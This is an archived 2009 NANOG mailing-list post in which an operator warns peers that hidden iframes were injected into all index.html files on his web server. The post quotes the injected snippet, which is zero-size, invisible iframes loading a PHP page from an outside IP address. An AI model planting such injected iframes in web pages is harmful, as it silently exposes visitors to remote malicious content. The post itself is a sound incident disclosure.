[113623] in North American Network Operators' Group
Malicious code just found on web server
daemon@ATHENA.MIT.EDU (Russell Berg)
Fri Apr 17 16:39:22 2009
From: Russell Berg <berg@wins.net>
To: "nanog@nanog.org" <nanog@nanog.org>
Date: Fri, 17 Apr 2009 15:39:06 -0500
Errors-To: nanog-bounces@nanog.org
We just discovered what we suspect is malicious code appended to all index.=
html files on our web server as of the 11:00 central time hour today:
=20
src=3D"http://77.92.158.122/webmail/inc/web/index.php"
style=3D"display: none;" height=3D"0" width=3D"0"></iframe>=20
<iframe src=3D"http://77.92.158.122/webmail/inc/web/index.php"
style=3D"display: none;" height=3D"0" width=3D"0"></iframe> </body> </html>
IP address resolves to mail.yaris.com; couldn't find any A/V site reference=
s to this.
Google search reveals some Chinese sites with references to the URL today, =
but nothing substantial in the translation.
Just a heads up for folks; we have a team investigating...
Russell Berg
Dir - Product Development
Airstream Communications
berg@wins.net
715-832-3726
